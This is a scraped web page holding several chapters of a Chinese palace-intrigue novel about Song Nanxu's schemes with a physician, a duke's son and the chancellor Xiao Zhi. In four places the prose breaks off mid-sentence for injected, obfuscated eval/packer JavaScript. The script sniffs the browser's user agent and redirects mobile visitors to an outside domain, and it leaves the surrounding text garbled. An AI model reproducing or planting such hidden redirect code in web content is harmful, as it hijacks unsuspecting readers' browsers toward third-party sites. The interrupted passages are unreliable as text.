宋南絮垂下了眼眸,看着跪了一地的仆妇、女使们一个个地起身退出了主屋,阴郁的眸色总算是拨开了云雾。 老太太服了夏侯博的药,每每这个时候都犯困。 这一点夏侯博在时却并未告知其中缘由,待老太太睡下后,宋南絮便差遣翠珠告知了崔氏自己要出府,为老太太寻医问药。 一顶孝悌的高帽子扣下来,阖府哪还有人敢不重视老太太。 这也是为什么宋南絮要让整个安远侯府上下亲眼见着她宴请名医的结果。 宋南絮上了马车,对驾车的青雀吩咐道:“去济世堂。” 济世堂位于安仁坊东陆大街,市井之地,鱼龙混杂,甚少有安远侯府这般气派的马车出现,引得不少街市上的行人驻足观望。 马车停在了济世堂门外。 青雀掀开了车帘:“姑娘,济世堂到了。” 宋南絮缓睁双眸,扶着青雀的手下了马车。 “娘的!你姑奶奶的银子也敢骗!真当你家祖宗是吃素的不成!” 斜里一道黑影飞来,青雀下意识挡在了宋南絮的身前。 宋南絮轻轻地拍了拍青雀的胳膊,对她微微摇了摇头。 青雀立即收敛了身上迸发出来的凛然杀意,默默地站在了宋南絮的身后。 宋南絮站在原地,缓缓地抬起了眼眸朝着门口看了过去。 偌大的门楣,匾额写着‘济世堂’,两侧石刻的‘借钱容易还钱难’‘讨债艰辛追债哭’的对联。 宋南絮瞧着这对子,嘴角不仅勾起了一抹笑。 瞧着对子,她倒是觉得夏侯博的这位弟子极符她的胃口。 须臾间,一个身穿浅绿色短打,脚下穿着黑色靴子,青丝只随意挽了一个髻,斜斜的簪了一支素银簪子的女子。 她撸胳膊、挽袖子,双手叉腰,瞪着一双杏子眼,气鼓鼓的小脸,活像是一个小包子似的:“也不瞧瞧这是什么地方!?还想坑你姑奶奶的银子! 别说你姑奶奶没警告你,再敢来我济世堂,我见你一次打你一次!!” 她拍了拍手,扬起了脖子,朝着地上病恹恹的男子啐了一口唾沫。 说完,她转过身便要往济世堂里走。 宋南絮看了青雀一眼,二人跟在了她的身后走了进去。 颜央耳力极佳,听见身后脚步声转过头。 一双澄澈明亮的杏子眼,从头到脚地打量了一遍宋南絮,瞧她衣着不俗,脸上立马堆起了笑:“姑娘可是来看病的?” 宋南絮:“是也不是。” 颜央蹙起了眉:“姑娘莫不是来寻我开心的?” 宋南絮从袖兜里拿一块玉牌,递到了颜央的面前:“姑娘可认识此物?” 颜央只看了一眼,立即蹙起了眉头:“这臭老头!没事就给我添乱!还嫌我这里麻烦事不够多么!” 说罢,颜央直接推开了宋南絮的手。 青雀立即上前。 宋南絮轻轻地拍了拍青雀的肩,朝她微微摇了摇头。 青雀会意,立即退回到了宋南絮的身侧。 颜央瞥了青雀一眼,轻哂了一声:“若是我没看错的话,姑娘习的是西域毒功吧! 这种功夫伤人一千,自损八百,我若是你还是自废武功的好。” 宋南絮只知青雀身手、用毒皆是各种高中,也会一些治病救人的法子,却不知道她习得竟然是西域的毒功。 青雀没说什么,只是看向颜央时的眼神中暗含了一丝杀意。 颜央却毫不在乎,坐在了济世堂的高脊红椅上,随手拿起了桌案上的茶壶,对着壶嘴喝了一大口茶:“说吧,你们来找所为何事?” 宋南絮自顾自地坐在了颜央的对面:“夏侯老先生为我祖母开了一味药方——” 她从袖兜里拿出了药方递给了颜央,继续道:“我祖母在用了此药后出现了嗜睡的症状,今日前来叨扰颜央姑娘,是想要询问其中缘由。” 颜央接过了药方匆匆扫了一眼。 下一瞬,她竟深深地皱起了眉头:“此方是用来解西域乌头之毒的!” 说话间,颜央澄澈的眸子看似不经意地瞥了一眼青雀。 宋南絮只看了一眼她的眼神,便明白了她的意思:“我祖母中毒已有十数年之久。” 颜央闻言,微微颔首,瞧着青雀也不过十七八岁的样子,想来这位姑娘口中祖母中毒之事应与她无关,这才放下了眼里的戒备:“瞧这方子上所用的药材,想必是因为你祖母中毒颇深的缘故,才会在解毒的过程中出现嗜睡的症状。” 听了颜央的解释,宋南絮这才放心了下来。 “多谢姑娘了。” 宋南絮看了青雀一眼。 青雀立即将一个荷包递上。 颜央见到递到自个儿面前鼓鼓的荷包,脸色立马变了,原本瞪圆的眼睛仅一瞬变弯成了弦月状:“姑娘无需这般客气。” 她嘴上说宋南絮客气,可手却已经伸了出来,抓过了青雀递过来的荷包,在手上掂了掂,微一挑眉,面色大喜:“五十两!姑娘好生阔绰,不知可还有其他的病症要瞧么?” 五十年问一个问题,若非有其他事相求,那她就是活财神,有钱没地方花了。 宋南絮直言不讳地道:“我府中正缺一位值得信任的大夫,不知姑娘可愿意……” 不待宋南絮把话说完,颜央竟然将荷包扔了回去:“我这个人自由散漫惯了,做不了别人家的府医,姑娘怕是找错人了。” 宋南絮将荷包推了回去:“我并不是要姑娘到我府上做府医。” “不做府医?”颜央一脸狐疑地盯着宋南絮:“那是……” 宋南絮莞尔道:“只希望我有需求时,姑娘可以施以援手。” 颜央微一蹙眉:“仅此而已?” 宋南絮颔了颔首:“仅此而已。” 听宋南絮这么说,颜央脸上重新有了之前那副贪财的笑模样,再次将荷包拿了回去:“那我就却之不恭了。” 宋南絮笑吟吟地看着颜央。 仅从她刚刚的言语之中,她便能够看出来,夏侯博给她的这块玉牌对于颜央来说还不如银子来得实在。 与其用玉牌强迫为自己行事,倒不如给她想要的。 能够用银子摆平的事,那并不算什么大事。 只不过—— 这五十两银子已经是宋南絮全部的积蓄了。 第55章 小公爷,谈生意 宋南絮回到侯府时,除了包袱里几件早年给宋萧然缝制的鞋袜和几本经书外,便在无其他物件儿。 这五十两银子还是李嬷嬷送来的首饰屉子的夹层里放置的。 打赏下人,墨香居日常花销,脂粉头油,超出每个月份例的都需要各院的主人自己掏银子使钱买的。 宋南絮回到侯府时,恰巧账房刚发放完这个月的例银。 若崔氏稍加留意,便能瞧出女儿捉襟见肘。 然而,崔氏的一颗心却都偏向了陶然居,全然忘记了宋南絮这个亲生女儿。 宋南絮也并不在意崔氏。 她已非昨日,所有的心思都放在了—— “姑娘……姑娘……” 青雀见宋南絮站在济世堂门外出了神,连忙上前轻唤了两声:“姑娘这是在看什么?” 宋南絮回过了神来,朝着街对面看了过去:“那是做什么的?” 青雀顺着宋南絮的目光看了过去:“那是教坊司其中的一所。” 教坊司! 那些犯官女眷谈之色变,宁愿**也不愿没入教坊司,明面上为皇宫的月舞戏曲演出,随着萧止推崇新政本朝律法严令禁止狎妓,这教坊司逐渐演变成了官妓,无数文人墨客在此留下了不少美谈。 却让宋南絮没想到的是,姜家这等礼教森严之家,素有姜来未来之称的姜二公子姜崇礼,竟然也会到这种风月场所。 先前,蛮老五姜崇焕在安远侯府大闹了一场,以姜家赔了重礼潦草结束,宋南絮还觉着无趣,没想到—— 她朝青雀使了个眼色。 青雀立即会意,快步朝教坊司而去。 宋南絮则是坐进了马车之中等待。 不多时,青雀折返而回,撩开了车帘:“姑娘,都打听清楚了。” 宋南絮手中捻动的佛珠忽然停了下来,缓缓地睁开了双眼,凝眸望向青雀:“说来听听。” 青雀道:“半年前户部侍郎触怒萧相,户部侍郎冯氏一族男子流放,女子没入了教坊司,这位姜家二公子的未婚妻便是冯氏之女。” 原来如此。 看来,这位姜二公子还是一个长情之人。 但,转念一想。 宋南絮便发现了其中猫儿腻! 这位户部侍郎以姜家马首是瞻,素来不参与党争,冯氏之女又与姜家定了婚事,姜太师又是萧止与圣上的恩师。 即便这位侍郎大人触怒了萧止,他也一定会看在恩师的面子上不予计较才对。 怎么会—— “先回去吧。” “是。” 马车经过同仁坊的时候,宋南絮忽然开口:“停车。” 青雀勒住了手中缰绳,掀开了车帘:“姑娘可是有什么吩咐?” 宋南絮阖了阖眸子,吩咐道:“去陶然楼。” 不多时,安远侯府的马车停在了陶然楼外,青雀下了马车,扶着宋南絮走了下来。 陶然楼的小二自是一眼便认出了这驾马车上的族徽,立马恭敬地迎了上来:“姑娘两位雅间请。” 宋南絮站在陶然楼大厅,环视一圈,缓缓地抬起了头,朝着二楼一间名为‘云水间’的雅间看去:“宇文公子可在?” 小二微微一怔,没想到,这位安远侯府的姑娘竟是来找宇文公子的。 或许就连这陶然楼的小二都不知,这里真正的东家是许国公与端淑大长公主的独子宇文胤珣的私产。 宋南絮也是前世从宋昭的口中得知的。 那时,宋涵烟已以安远侯府嫡小姐的身份许婚了许国公府。 以宋涵烟的身份自然是配不上国公府与大长公主府的独子,但,宋昭却只用了一招,便说服了宇文胤珣,让他亲自上门提亲。 前世,这件事是在宋南絮回府后一个月时发生的,她也是时候去宋萧然的书房时,听了一耳朵。 好像事关—— 小二:“姑娘请稍等。” 宋南絮思绪回笼,淡然地站在原地等着。 小二快步上了二楼‘水云间’,不多时,折返而回,恭敬地朝宋南絮施了一礼:“姑娘,宇文公子有请。” “吱嘎” 小二推开了‘水云间’的门,宇文胤珣闻声抬眸朝着门口望去,只见一名身形消瘦,容颜清丽的女子站在门外。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15578606|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >宇文胤珣并不认识此人,但却觉得有几分眼熟,一时间却又想不起来在何处见过:“姑娘,是你找在下么?” 宋南絮走近了雅间,不置可否地颔了颔首:“正是。” 宇文胤珣微微蹙眉:“在下与姑娘可曾见过?” 宋南絮自是不会说上一次陶然楼诗会是她捣乱,只微微摇头:“未曾见过。” 宇文胤珣闻言,将眉头蹙得更深:“既然未曾见过,那姑娘找在下是——” 宋南絮侧目看了青雀一眼。 青雀颔首,退出了雅间,关上了房门,站在门口。 宋南絮举步走到了桌案前,撩动裙裳俯身坐了下来:“我是来找小公爷谈生意的。” “找我谈生意?”宇文胤珣一头雾水,疑惑地望着宋南絮:“我与姑娘素不相识,况且在下也不曾做过什么生意,你……” “这陶然楼不就是宇文公子的产业么。” 不等宇文胤珣把话说完,宋南絮便直接开口打断了他的话,说道:“当今太后与大长公主不睦多年,有意让国公府做马前卒与萧丞相打擂台,想必,国公大人与小公爷为此应是伤透了脑筋,我今日前来,便是为小公爷排忧解难的。” 宇文胤珣闻言,脸色骤变。 他是这陶然楼幕后东家,即便是父亲、母亲也不曾得知,面前这姑娘又是怎么知道的? 更重要的是,她竟一语道出了如今国公府的困局! 宋南絮见他的样子,微微勾起了唇角,再次开口,说出来的话,如同一记闷雷将宇文阴虚击得外焦里嫩! 她淡淡一笑,说:“大长公主不也正是为解燃眉之急,才会兵行险着,诓了药王谷谷主前去大长公主府,想要知道太后是得了什么疑难杂症么!?” 宇文胤珣身形忽然一晃,他下意识地眯了一下眼,瞬间,眼底杀意涌现。 宋南絮却丝毫不在意:“小公爷不必如此,我既已如实相告,便是想要结交你这个朋友。” 宇文胤珣凝眸,俯身坐在了宋南絮的对面:“你是何人?既说要做生意,应该让在下知晓姑娘的身份。” 第56章 一则内幕,换三成利 “安远侯府宋南絮。” 宋南絮并没有想要隐瞒身份的意思。 况且,宇文胤珣自然会去查证她的身份,与其隐瞒倒不如光明正大。 宇文胤珣闻言,微微眯了一下眼:“你是安远侯府的人?” “如假包换。” 宋南絮拿起了桌案上的茶壶,给自己与宇文胤珣各倒了一盏茶。 宇文胤珣不解,安远侯向来不参与党争,在朝堂之中更是从不站队,自新帝登基,无论何事,他都能够保持自身,全身而退,如今—— 他半眯着眼,凝眸望着坐在对面的清冷的女子。 越看宇文胤珣越是觉得她眼熟的很,他以极快的速度,敛去了眼底的猜疑,恢复了一贯翩翩佳公子的模样:“姑娘,你想要如何与我谈生意?” 宋南絮端起了青瓷茶盏轻饮一口,红唇微启,声音温柔而淡漠:“新帝登基,晋大长公主这位姑母封号‘端淑’二字,看似意义美好,实则时刻警醒大长公主娴静淑慧,鲜花着锦、烈火烹油的背后是何用意不用我与小公爷多讲了吧。” 身为大长公主唯一的儿子,宇文胤珣何尝不知这浩荡的皇恩背后其真实用意。 再加上,母亲与太后不睦多年,而今看似一片祥和的背后,实际上暗藏杀机。 宇文胤珣不知宋南絮提及此事究竟是为何? 这与她口中所说的生意又有什么关系? 宋南絮放下了手中茶盏,缓抬睫眸,启唇道:“我知道国公爷在寻找一个人,不知,我以此人的秘密能否换取这陶然楼每个月的三成利润。” 宇文胤珣闻言,猛地瞪大了双眼,宛如黑曜石一般的眸子在眼眶之中倏地一缩,拿着茶盏的手微微一颤。 他的情绪收入宋南絮眼中。 她唇角微微上扬,勾起了一抹狡黠的弧度。 只是一瞬,宇文胤珣便隐去了脸上的激动,恢复平静:“你怎知道我父亲在找人?” “呵!”宋南絮轻浅一笑:“知道国公爷在找人并不是难事,此事难就难在国公爷真正想要的是什么。” 宇文胤珣闻言又是一怔。 显然,宋南絮知道的更多。 宋南絮启唇:“小公爷,不知这条线索可否换到我想要的?” 宇文胤珣微微眯了眯眼。 虽说安远侯府不及国公府和大长公主府富贵,但毕竟也是**罔替的世家大族,定然不会缺少银钱,她这么做—— 他虽与宋南絮素未谋面,但也听说过安远侯府中有一女,五年前被送去了庵堂清修:“我听闻安远侯府嫡女五年前为祖母祈福,甘愿前往普照庵……” 宇文胤珣话只说了一半,眯着眼睛端详着宋南絮脸上的表情。 宋南絮不置可否地颔了颔首:“没错,所以我才会缺银子。” 宇文胤珣不曾想宋南絮竟然会如此直接,眼波流转,仔细思忖须臾,凝眸望着她:“我怎知道你说的是真是假?” “呵。”宋南絮淡然一笑:“以小公爷的能力,想要查并不是什么难事。” 宇文胤珣抬手对宋南絮做了一个请的手势:“宋小姐请讲。” 宋南絮:“冯氏女就在教坊司中。” 宇文胤珣唇角微勾,身子微微向后靠在了高脊红椅的靠背上:“户部侍郎男丁流放,官眷没入教坊司,这是人尽皆知的事情,宋小姐若想要以此来换取……” “冯氏所掌握的名册在太师府姜二公子手中。” 宇文胤珣的话还没说完,宋南絮倏地开口打断。 当他听见宋南絮的话时,瞳孔猛然一缩。 宋南絮白皙修长的手指似有节奏地敲击着桌面:“以姜家二公子的身份,皇族公主也是娶得的,不知,那位三朝元老的姜太师,为什么要让姜家最有前途的二公子和一个小小侍郎家的女儿定亲呢?” 她并未给宇文胤珣喘息的机会,继续说道:“先帝在世时,曾经牵扯出一桩买官之事,据传闻,此事涉及到姜太师已故之子,但真正的幕后之人——” 宋南絮说到了这里,笑吟吟地望着宇文胤珣。 宇文胤珣用力地眯了一下眼睛。 没错,此事已故姜太师之子姜成文,是替大长公主背了黑锅。 其中他的母亲是如何操作的,又是如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587054|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何栽赃陷害的,如何间接害**姜太师之子的,宇文胤珣最为清楚。 宋南絮勾起了唇角,继续道:“冯侍郎究竟是谁的人,想必小公爷比我更清楚。 倘若,此事姜家先发制人的话,不知道国公爷和大长公主,以现在的局势能不能接得住太后娘娘的一击呢?” 宇文胤珣闻言,心头猛然一沉。 只一瞬,他便感觉背脊一阵阵发寒,似有涔涔冷汗渗出一般。 他微眯了眸子,瞳眸之中寒意凛然。 宋南絮神色淡淡,全然不惧宇文胤珣威胁的神色,她莞尔一笑,淡淡道:“我听闻萧丞相与这位已故的姜家大爷亲如手足,太后欲以国公府为矛,攻萧丞相手中之盾,不知国公府这柄矛可还够锋利否?” 宇文胤珣垂下了眸子,渐渐低下了头。 眼中凛然杀意逐渐消失,半晌过后,宇文胤珣缓缓地抬起了头,凝眸望着宋南絮:“多谢宋小姐提供的消息,每月初一,自会有人将陶然楼三成利润送到安远侯府。” “不!”宋南絮不疾不徐地站了起来:“我是我,安远侯是安远侯,这笔银子还劳烦小公爷存入盛通钱庄。” 她这是在告诉宇文胤珣。 此行的目的与安远侯府无关。 这让宇文胤珣更加好奇,这个被送往庵堂祈福五年的侯府嫡女,告知自己这一消息的目的究竟是为何? 姜家? 宋家? 亦或者是萧丞相? 这三方看似毫无关联,但却又让宇文胤珣觉着其中关系盘根错节。 现如今他能够从宋南絮的话语之中听出来,冯氏之女手中定然有当年母亲买卖官位的证据。 冯氏一族被流放时,并没有以此来让母亲搭救,那便是说明,他们已经选择了姜家,而现在冯氏女还在教坊司之中,那便是说明,她们并未将证据交出去,姜太师也还并未知道亲子真正的死因! 宋南絮看着宇文胤珣脸上的表情,便知道他明白了其中的关键。 她笑了笑,朝着宇文胤珣欠身一礼:“生意已成,那我便不叨扰小公爷雅兴了,告辞。” 第57章 清白之躯,黄花儿郎 一则内幕,换陶然楼三成利润,堪比一字千金! 宋南絮不会做亏本的买卖。 大长公主乃是神宗帝嫡女,自幼承神宗帝亲自教导,论心术、论权谋、论眼界,皆不输当今太后,神宗帝曾有言,她若非是女儿身可承袭大统。 神宗驾崩后,其胞弟继位,封其为监国长公主。 只可惜,先帝命短,在位不过十三载。 而后,萧止扶持当今圣上继位,削藩**,这位大长公主自是首当其冲。 而今她无封地,无铸币权,有的只有神宗在位时为她打造的公主府。 不仅如此,她还要时时刻刻担心昔日所做之事会东窗事发,当今太后视她为眼中钉、肉中刺,想要明哲保身,唯有销毁证据。 奈何冯氏一族满门皆惨死于流放途中,活下来的女眷全部没入教坊司。 端淑大长公主也派人前往教坊司想要找到当年的那本名册,但却是徒劳无功。 现下,宋南絮为宇文胤珣指出了一条明路。 冯氏一族早已背弃原主投靠了姜家。 以宇文胤珣聪明的脑袋,自然知道接下来应该怎么做。 宋南絮坐在马车中,修长手指撩开马车珠帘,不多时,便见到了宇文胤珣匆忙走出陶然楼,想必应该是赶回去大长公主府,寻求端淑大长公主商量对策了。 姜家! 太师姜闻重! 宋南絮收回了手,缓缓地阖上了眸子,一颗一颗捻动手中小叶紫檀的佛珠。 倏然,一阵风吹进了马车之中,宋南絮敏锐地察觉到有人闯进了她的马车中,她猛然睁开双眼,却看见了一张英俊的脸冲着自己笑。 宋南絮微微蹙眉:“光天化日之下,相爷贸然冲进安远侯府女眷的马车之中,难道就不怕人言可畏么?” 萧止将双臂置于脑后靠在了车厢中:“怎么不怕呢?本相可还是清白之身,黄花好儿郎,若是被人看见了,絮儿可是要负责的。” 清白之身?! 宋南絮瞠目结舌。 世人传言,这位相爷可是欺男霸女,荤素不忌的。 她是怎么也无法将‘清白’二字联系到萧止的身上。 萧止微一挑眉:“你不信?” 宋南絮嗔了他一眼:“少贫嘴!” 萧止立马止住了他是否清白的这一话题。 宋南絮轻瞥了他一眼:“你怎么会在这里?” 萧止往宋南絮身边凑了凑:“我——自然是看看絮儿大作的。” 宋南絮知道萧止说的是陶然楼的那副对子,但,鬼才会相信他的嘴巴,她白了萧止一眼:“你若不说那便算了。” 眼瞧宋南絮闭上了眼,捻起了佛珠,不再搭理自己,萧止立即道:“好好好,我说,我说。” 宋南絮睁开眼睛看着他。 萧止道:“若我说此行的目的和你一样,你可相信?” 宋南絮微微蹙眉:“你是为了姜家而来?” 萧止不置可否。 宋南絮在普照庵五年,学会了一套看人的本事。 她自岿然不动,眸子却暗暗打量萧止,似是想要从他脸上的表情中捕捉到什么。 萧止唇角微勾,轻轻地摸了摸自己的下巴:“我好看么?” 宋南絮翻了个白眼:“你少不正经。” 她向一旁挪了挪,和萧止拉开了距离:“你在陶然楼中安插了眼线?” 萧止没有否认:“絮儿刚刚不是还和宇文胤珣说起,我与姜成文亲如兄弟,在陶然楼中安插两三个眼线,监视一下杀害我义兄的真凶,不是应该的么。” 他话说得轻描淡写,却让宋南絮心头猛然一震。 方才,在陶然楼的雅间之中,除了她和宇文胤珣以外便再无第三个人的存在,但萧止却知道他们交谈的内容,这—— “絮儿可是好奇,我是怎么知道的?” 萧止一副玩世不恭的样子,仿佛在说一件和他没有任何关系的事情:“现如今陶然楼的确是宇文胤珣的私产,但在他之前,我才是陶然楼的东家。 絮儿若是缺银子,大可以来找我合作,何必去找那么一个小白脸。” 与萧止合作等同于与虎谋皮! 宋南絮可不相信,他会有这样的好心。 “现下你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587055|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已知晓杀害姜成文的真凶是谁,你打算要如何帮他报仇?” “我?”萧止眨了眨眼,笑吟吟地道:“为何要帮他报仇?” 宋南絮蹙眉:“难道外界传言是假的?” “并非全都是假的。” 萧止又往宋南絮的身边凑了凑:“絮儿若是想知道,我可以告诉你。” “好啊。”宋南絮抬手抵住了他靠近的胳膊:“说来听听。” 萧止没有任何隐瞒:“姜成文的确是我义兄不假,曾经,我们也的确视对方为知己。” 宋南絮精准的捕捉到了这句话中的关窍:“曾经!?” 萧止点了点头:“没错,就是曾经,或许,准确来说,应该是我在还没有被算计,没有成为权倾朝野的奸相佞臣之前。” 宋南絮垂下了眼眸。 她对已死的姜成文并不感兴趣,她想要知道的是如今萧止与姜家的关系:“是姜成文算计了你?还是——” “还是絮儿聪明。” 只一句,宋南絮便立即想清楚了其中关键。 姜家当家做主是姜太师,若没有他的受益,姜成文怎敢算计萧止。 “如此说来,你与那位置事的三朝帝师的关系,并非传言那般?” 萧止微一挑眉:“你猜。” 宋南絮轻哂一声:“我猜这位太师大人指使自己的亲孙前往教坊司接近冯氏之女,目的就是为了得到那个名册,从而扳倒端淑大长公主。” 所问非所答,其中却又暗藏玄机。 姜太师算计了萧止,可见其二人关系并不似外界传言那般。 这位享誉盛名的三朝帝师,竟算计自己的弟子,可见他也并非是纯臣那么简单。 事情似乎变得越来越有趣了呢! 萧止看着宋南絮半眯着眼睛盘算的模样像极了一只狡猾的小狐狸,他忍不住笑了笑:“絮儿可想让这场游戏变得更好玩么?” 宋南絮抬眸望着他:“哦?!你想要搅浑这汪水?” 萧止从袖中拿出了一个信封:“大长公主和姜太师想要的名册在我这里,你说我们将它给谁才更好玩呢?” 第58章 既是眼盲心瞎,那便废了吧 “利益!” 只有最核心的利益才能打动宋南絮。 若将这份买卖官位的名册交代姜家手中,以太后、皇帝现在的态度,无疑是将端淑大长公主推向万劫不复之地。 届时,姜太师自是会达到他的目的。 不管目的为何,与宋南絮而言,没有根本的利益。 倒不如将名册还给端淑大长公主,既能承下这个天大的人情,还能够继续维持表面平衡。 萧止何其聪明,自然明白宋南絮的心意。 他随手将那份名册扔到了宋南絮怀中:“你想给谁就给谁,随你喜欢。” 宋南絮凝眉,怀疑地看着萧止:“为什么帮我?” 为什么?! 萧止也很想知道为什么。 刚刚有人来报告他此事时,仅一瞬,他便猜测出宋南絮的意图。 立即找出了这份名册,飞也似的追上了她的马车,眼巴巴地将事关端淑大长公主生死的名册,交给到了宋南絮的手里。 忙前忙后,就连萧止自己都不知所为几何。 仅一瞬,萧止恢复他那副玩世不恭的浪荡模样,挥开手中折扇:“本相爷高兴!要你管!” 说罢,他竟别过了头去。 宋南絮看着他一脸傲娇的模样,忍不住笑出了声。 萧止微一挑眉。 她笑了! “咳咳!”萧止轻咳了两声,正了正音色,回过了头来,一本正经地看着宋南絮,问道:“你就这么缺银子?” “缺呀。”宋南絮直言不讳:“我全部的身家也不过刚刚给出去五十两诊金而已。” “五十两?!”萧止的嘴角微微抽了两下。 安远侯府不至于落魄至此吧? 转念一想,萧止倏然明白了什么。 随即,他卸下了腰间一块牌子随手扔给了宋南絮:“需要多少,自己去盛通钱庄拿。” 宋南絮微微一怔。 拿起了萧止扔给自己的腰牌仔细地看了看。 “这是——” 她猛然瞪大了眼睛,瞳眸之中缀满了震惊! 萧止语气淡淡:“凭此腰牌可在各地盛通钱庄随意支取银两。” 如此珍贵之物,萧止竟然给了自己!! 宋南絮诧异非常:“给我的?” 萧止凑到了她的面前,二人之间只有寸许的距离,宋南絮眨眼时,她颀长的睫毛能够扫到他的鼻尖,炙热如兰的呼吸灼烧着他的脸,一瞬,他感觉自己的面颊好似火烧一般。 萧止看着宋南絮近在咫尺的樱唇,修长脖颈上的喉结上下动了动。 宋南絮似是察觉到了萧止的异样,连忙向后挪开了距离。 她微垂下了睫眸,没有去看萧止的脸:“名册我收下了,腰牌你拿回去。” 宋南絮是迄今为止第一个拒绝他的人! 萧止拧眉,他不明白,她明明缺钱用,自己给了为什么她又不要? 这女人—— 越是猜不透,萧止就越是想要知道她的心思。 宋南絮是他走上这条路之后,唯一遇见的一个和自己有着同样心思的人。 萧止知道他们是同类。 “本相给出的东西,岂有收回的道理。” 这男人蛮横又傲娇,活像是一只骄傲的波斯猫。 越看宋南絮越觉得他像猫儿,竟忍不住笑出了声。 萧止蹙眉:“本相很好笑么?” 宋南絮微微向他探了探身,在他的耳畔轻声说:“有没有人说,你发脾气的时候,很像是一只骄傲的波斯猫?” 波斯猫?! 萧止眉梢微微跳了跳。 这话—— 的确有人说过! 这一瞬,他心脏狂跳,像是透过宋南絮看见了那个人! 那种强烈的感觉,几乎占据了他的心。 让萧止有一瞬间的呼吸凝滞。 他就这么深深地盯着宋南絮。 “萧止!萧止!” 宋南絮唤了两声,见他一动不动,抬手轻轻地推了他一下。 萧止回过了神,脸上也没有了之前玩世不恭的模样,他垂下了眉眼,若有所思。 宋南絮不知道他哪根筋搭错了,将手中的腰牌还给了他。 马车内的气氛忽然变得尴尬了起来,俩人对坐一边,谁也没有再开口说话。 马车忽然辄止,青雀掀开了车帘,看见萧止时,她明显一怔,随即立即恢复了过来:“姑娘,咱们到了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588570|171445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她话音一落,车厢内一阵劲风袭过,宋南絮还未看清,马车内已经没有了萧止的身影,这男人还真是来去如风! 宋南絮刚要起身,却瞧见在萧止刚刚坐过的位置上留下那块盛通钱庄的腰牌。 与其说是盛通钱庄的腰牌,倒不如说萧止才是盛通钱庄的东家。 宋南絮好奇,以萧止这般的能力、谋划与权术,前世的他怎会落入如此身首异处的境地的呢? 她将腰牌拾了起来,放进了袖兜之中,扶着青雀的手下了马车。 堪堪行至安远侯府外,门内呼啦啦涌上了一群内院女使、仆妇。 紧接着,宋涵烟从门房之中走了出来,她抬起手来,手腕上玉镯相互碰撞,发出“叮叮”脆响,她纤手一挥,冷声吩咐:“将这偷盗之人给我拿下!” 宋南絮站在门口,一脸淡然与冷肃,眸子倏然而锐利,仿若一株孤岭中盛开的洁白栀子:“我看谁敢!” 她一句话说得轻飘飘的,却带了十足十的威严。 仅一瞬,竟让在场的女使、仆妇们无一人敢贸然上前。 宋涵烟轻哼了一声:“都愣着干什么?仔细我回了母亲,将你们发卖出府!” 随着宋涵烟一声令下,还当真有那不怕死的打了头阵,一个内院粗使的婆子挽起了袖子,快步上前:“大小姐,得罪了!” 宋南絮唇角微勾,声音淡漠而凉薄:“青雀!” “是!” 青雀应声,在那婆子上前的一瞬间,一把扼住了她的手腕,然后,转过头对宋南絮问道:“姑娘,要何等程度?” 宋南絮淡淡道:“瞧她也是个眼盲心瞎的混账,留在府里也派不上什么用场,那便废了吧。” “是。”青雀颔首,回过头来,微眯了一下眼。 下一瞬,只听“咔嚓”一声,青雀竟直接掰断了那婆子的手腕子。 紧接着,她猛地一脚踹在了那婆子的心口窝,众人眼瞧着那婆子像是断了线的纸鸢似的,瞬间倒飞了出去,后脊重重撞到了院内的一颗足有五六人才能环抱过的老槐树上。 “咔!” 那婆子的腰应声折断,整个人顿时瘫软昏**过去。 第59章 心生怨恨,**金印 青雀出手顿时震慑住了在场所有人。 特别是当众人瞧见地上那如死狗一般的婆子,霎时再无一人胆敢贸然上前。 宋南絮只微微一抬手,青雀立即停了下来,退到了她的身侧,她微一挑眉,目光冷肃,仿若寒风过境,令在场之人无不觉得背脊凉飕飕的。 她举步上前,在宋涵烟一丈距离处停了下来:“我竟是不知,如今这安远侯府已是一个养女当家了!” 宋南絮环视在场的女使、仆妇,轻哂了一声:“看来是我离开侯府的时间太久了,久到你们都忘记了我是谁了。” 宋涵烟扬起了脖子,迎着宋南絮的目光撞了回去:“长姐莫要怪罪,着实是咱们府里出了贼人。” 